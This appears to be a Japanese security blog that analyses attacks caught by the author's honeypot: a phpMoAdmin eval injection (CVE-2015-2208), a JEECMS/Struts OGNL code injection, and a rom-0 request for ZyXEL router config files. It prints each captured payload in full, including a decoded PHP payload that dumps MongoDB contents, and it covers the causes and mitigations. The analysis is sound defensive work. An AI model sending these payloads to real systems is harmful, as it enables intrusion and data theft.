phpMoAdminの脆弱性(コマンドインジェクション)を狙った攻撃(CVE-2015-2208)
今回は、MongoDB*1のGUI管理ツールであるphpMoAdminの脆弱性を突いた攻撃を紹介したいと思います。
まずはログをご覧ください。(見やすくなるよう改変しています)悪用厳禁
POST /phpMoAdmin/moadmin.php HTTP/1.1 Accept-Encoding: identity Content-Length: 409 Host: IPアドレス Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 object=1%3Beval%28base64_decode%28%22JG09MDskcj0iIjsgZm9yZWFjaCgkdGhpcy0%2BbGlzdERicygpIGFzICAkayA9PiAkdil7ICR0aGlz%0ALT5zZXREYigkayk7CiAgICAkcz0wOyRyMT0kdjsgZm9yZWFjaCgkdGhpcy0%2BbGlzdENvbGxlY3Rp%0Ab25zKCkgYXMgICRrMSA9PiAkdjEpewogICAgICAgIGlmKCR2MSA%2BPSAkbSl7ICRyMS49IlsiLiRr%0AMS4iKCIuJHYxLiIpXSI7ICRzPTE7IH0KICAgIH07IGlmKCRzKSAkci49InsiLiRyMS4ifSI7Cn07%0AIGRpZSgiTU9BU1RBVFM6Ii4kcik7%0A%22%29%29%3B%3Bexit
objectというパラメータにURLエンコードされた攻撃コードが入力されています。さらに、攻撃コード中にbase64_decodeという文字列があることから、途中からBase64でエンコードされているということがわかります。
この攻撃コードのURLデコードを行い、更にBase64でエンコードされている部分をデコードすると、次のようなコードであることがわかります。
object=1;eval(base64_decode("$m=0;$r=""; foreach($this->listDbs() as $k => $v){ $this->setDb($k); $s=0;$r1=$v; foreach($this->listCollections() as $k1 => $v1){ if($v1 >= $m){ $r1.="[".$k1."(".$v1.")]"; $s=1; } }; if($s) $r.="{".$r1."}"; }; die("MOASTATS:".$r);"));;exit
このexploitはMongoDB内のデータベースの内容を全て出力する、コマンドインジェクションであることがわかりました。
この攻撃者は情報の窃取が目的だったようですが、他にも例えばサーバにマルウェアをダウンロードさせるなどの攻撃もできると考えられます。
また、objectパラメータだけでなく、findパラメータにも同様の脆弱性が存在しています。
原因のコード
phpmoadmin.phpには、以下のような関数が存在します。
public function saveObject($collection, $obj) { eval('$obj=' . $obj . ';'); //cast from string to array return $this->mongo->selectCollection($collection)->save($obj); }
このsaveObject関数ではeval関数が記述されています。eval関数のパラメータにはユーザが指定する値が入るobj変数があり、これがコマンドインジェクションの脆弱性を引き起こしています。 また、同様にfindパラメータを処理する部分にもeval関数が使われています。
$find = array(); if (isset($_GET['find']) && $_GET['find']) { $_GET['find'] = trim($_GET['find']); if (strpos($_GET['find'], 'array') === 0) { eval('$find = ' . $_GET['find'] . ';'); } else if (is_string($_GET['find'])) { if ($findArr = json_decode($_GET['find'], true)) { $find = $findArr; } } }
eval関数の使用は推奨されません。もしも利用する場合はパラメータに変数を含めず、文字列リテラルのみを利用するのが賢明です。
対策
2015/06/20現在での最新バージョンが1.1.2であり、発見から3か月ほど経っていますが未だに修正が行われていません。対策として私が考えるのは、サーバ側でphpmoadmin.phpに認証を設定するということです。(管理ツールなので設定してないとおかしいですけどね^^;)また、外部からアクセスされない環境に置くのも手だと思います。
参考サイト
データベース「MongoDB」の管理ツール「phpMoAdmin」に存在するゼロデイ脆弱性の解析 | トレンドマイクロ セキュリティブログ←この脆弱性についてとても詳しく解説しています。
JVNDB-2015-001796 - JVN iPedia - 脆弱性対策情報データベース
第37回 MOPS:PHPにおけるコード実行(1):なぜPHPアプリにセキュリティホールが多いのか?|gihyo.jp … 技術評論社
*1:NoSQLの一つで、ドキュメント指向データベース
JEECMSの脆弱性(コードインジェクション)を狙った攻撃
どうも、また(普通の)日本人に関係があんまりない攻撃に関する記事を書かせていただきます。私のハニーポットには昨日来たてのほやほや攻撃。
まずはログをご覧ください。(見やすくなるよう改変しています。)
攻撃コードもURLデコードしています。悪用厳禁
POST /login/Jeecms.do HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: IPアドレス Content-Length: 395 Expect: 100-continue Connection: Keep-Alive redirect:${#res=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#res.setCharacterEncoding("UTF-8"),#req=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletRequest),#res.getWriter().print("dir:"),#res.getWriter().println(#req.getSession().getServletContext().getRealPath("/")),#res.getWriter().flush(),#res.getWriter().close()}
POSTメソッドに書いてあるJeecms*1。おそらくこれが攻撃先のソフトウェア名です。
これは、コードインジェクション(CWE-94)を狙った攻撃です。
RedirectにJavaで攻撃コードが書かれています。このコードは、Jeecms.doのサーバ内での絶対パスを取得するものと考えられます。恐らく、ここから攻撃を広げていくつもりだったのでしょうね。
Apache Strutsに同様の脆弱性(S2-016)
Apache Struts*2に同様の脆弱性(2013年)S2-016が公開されています。余談ですがApache StrutsにはほかにClasslorderの脆弱性(2014年)CVE-2014-0114が存在します。どちらも最新バージョンなら修正されています。
JEECMSについて考察
今回、同一IPからindex.actionやlogin.actionなどへのアクセスがあったためStrutsへの攻撃だと思ったのですが、 Jeecms.doへのアクセスから別と判断しました。
なぜ同じ脆弱性が存在するのか? JEECMSはStrutsを利用している・・・? しかし、JEECMSの製品ページを見ると別のフレームワークは載っているがStrutsは載っていない。と、いうことは・・・?
- 発覚した後製品でStrutsの利用をやめた
といったところでしょうか。結局真相は謎ですし、現在は修正されているでしょうから、どうでもいいことです。
ほか参考サイト
Apache Strutsの脆弱性(S2-016)を狙った攻撃の実例 - WAF Tech Blog | クラウド型 WAFサービス Scutum 【スキュータム】
rom-0攻撃
さて、私がハニーポットdionaeaを公開してから一番槍で来た、rom-0攻撃について書きたいと思います。
まず、ログをご覧ください。
*一部情報を伏せています
stream = [('in', b'GET /rom-0 HTTP/1.1\x0d\x0aHost: IPアドレス\x0d\x0aUser-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\x0d\x0aConnection: close\x0d\x0a\x0d\x0a'), ('out', b'HTTP/1.0 404 Not Found\x0d\x0aContent-type: text/html; 以下略
Googlebot*1のふりをして(User-Agentは偽装可能)、GETメソッドに rom-0 と入力しています。
rom-0とは
ZyXELという企業の、ZyNOSというOSを搭載したルータが持つ設定ファイルのこと。どうやらパスワードなど大事な設定が保存されている模様・・・。 アドレスバーにルータIPアドレス/rom-0と入力しただけで誰でも設定ファイルが取得できてしまうというとても恐ろしいものです。そのままでは読めませんが、どうやらデコードツールがあるらしく・・・。 簡単に、攻撃者にルータがいじられてしまいます。 詳しい手法は以下の動画に。
当然ですが悪用厳禁!!!!!!
日本にはないルータなので、基本的にはみなさんには影響のない攻撃でしょう。怖い!という場合には脆弱性がないかテストするサイトもあります。
それにしても、簡単に抜かれてしまうとは、本当に恐ろしい・・・。
ほか参考サイト
How I saved your a** from the ZynOS (rom-0) attack !! ( Full disclosure ) | Root@Nasro